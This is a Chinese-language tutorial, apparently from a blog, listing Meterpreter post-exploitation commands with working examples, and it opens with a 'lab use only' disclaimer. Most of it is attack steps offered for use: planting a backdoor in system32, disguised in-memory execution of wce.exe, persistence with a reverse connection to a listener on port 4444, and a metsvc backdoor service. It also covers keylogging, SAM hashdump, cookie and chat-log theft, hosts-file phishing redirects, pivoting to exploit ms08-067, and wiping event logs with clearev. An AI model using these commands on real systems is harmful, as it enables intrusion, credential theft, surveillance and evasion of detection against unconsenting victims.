仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。
1、background命令
返回,把meterpreter后台挂起
2、session命令
session 命令可以查看已经成功获取的会话
可以使用session -i 连接到指定序号的meterpreter会话已继续利用
3、shell命令
获取目标主机的远程命令行shell
如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试
查看目标主机上的文档内容
例如:cat C:\boot.ini 查看目标主机启动引导信息
获取系统工作的当前目录
6、upload命令
上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下
upload setup.exe C:\windows\system32
把目标主机上的文件下载到我们的攻击主机上
例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下
download C:\boot.ini /root/
把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)
8、edit命令
调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
在目标主机文件系统上查找搜索文件
例如:search -d c:\ -f *.doc
在目标主机C盘下搜索doc文档
10、ipconfig命令
这个不多说,查看目标主机上的网络参数
11、portfwd命令
端口转发
例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开
例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176
把目标主机192.168.250.176的3389端口转发到1122端口
这是只需要连接目标的1122端口就可以打开远程桌面了
这是只需要连接目标的1122端口就可以打开远程桌面了
rdesktop -u administrator -p 123456
192.168.250.176:1122
12、route命令
这个也不多说,显示目标主机上的主机路由表
查看meterpreter注入到目标主机的进程所属用户
14、sysinfo
查看目标主机系统信息
查看目标主机上运行的进程信息,结合migrate使用
16、migrate
将meterpreter会话移植到另一个进程
例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法
可以先用ps命令看一下目标主机的explorer.exe进程的pid
然后我们用migrate 1668 把meterpreter会话注入进去
17、execute命令
在目标主机上运行某个程序
例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator
我们运行一下目标主机上的记事本程序
execute -f notepad.exe
execute -H -f notepad.exe
此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了
命令:
execute -H -i -f cmd.exe
这达到的效果就跟使用shell命令一样了
再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute -H -m -d notepad.exe -f wce.exe -a "-o
wce.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)
-m 直接从内存中执行
"-o wce.txt"是wce.exe的运行参数
18、getpid
获取meterpreter会话在目标主机上注入进程的进程号
19、shutdown命令
关闭目标主机
20、后渗透模块post/windows/gather/forensics/enum_drives调用
在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:
命令,在msfconsole下:
use post/windows/gather/forensics/enum_drives
set SESSION 1
exploit
效果如图:
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用
21、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机
命令:
run post/windows/gather/checkvm
效果如下图:
命令:
run persistence -X -i 5 -p 4444
-r 172.17.11.18
-X 在目标主机上开机自启动
-i 不断尝试反向连接的时间间隔
效果如下图:
创建攻击载荷->攻击载荷植入到目标主机c:windows emp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功
下图,在攻击主机上监听4444端口,等待反弹会话成功
命令:run metsvc
效果如下图:
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:windows emp下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
24、调用getgui后渗透攻击模块
作用:开启目标主机远程桌面,并可添加管理员组账号
命令:
run getgui -e
开启目标主机远程桌面
如下图:
命令:
run getgui -u example_username -p
example_password
rdesktop -u kali -p meterpreter
192.168.250.176:3389
25、提权命令getsystem
25、提权命令getsystem
使用getsystem提升当前进城执行账户微system用户,拿到系统最高权限
命令:getsystem
26、键盘记录器功能keyscan
命令:
keyscan_start 开启记录目标主机的键盘输入
keyscan_dump 输出截获到的目标键盘输入字符信息
keyscan_stop 停止键盘记录
效果如下图:
27、系统账号密码获取
命令:hashdump
在获得system权限的情况下,使用hashdump命令可以到处目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码
效果如图:
命令:run post/windows/gather/enum_applications
效果如图:
29、调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
命令:run post/windows/gather/dumplinks
效果如下图:
命令:run post/windows/gather/enum_ie
效果如下图:
获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下。
31、route命令
使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。
可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况
命令:run get_local_subnets
如下图:
其内网尚有192.168.249.0/24网段,我们无法直接访问
下面做一条路由,下一跳为当前拿下主机的session id(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。
命令:route add 192.168.249.0 255.255.255.0 5
再使用route print查看一下路由表,效果如下图:
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:
32、clearev命令
入侵痕迹擦除
在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除痕迹后再跑。
命令:clearev
效果如下图: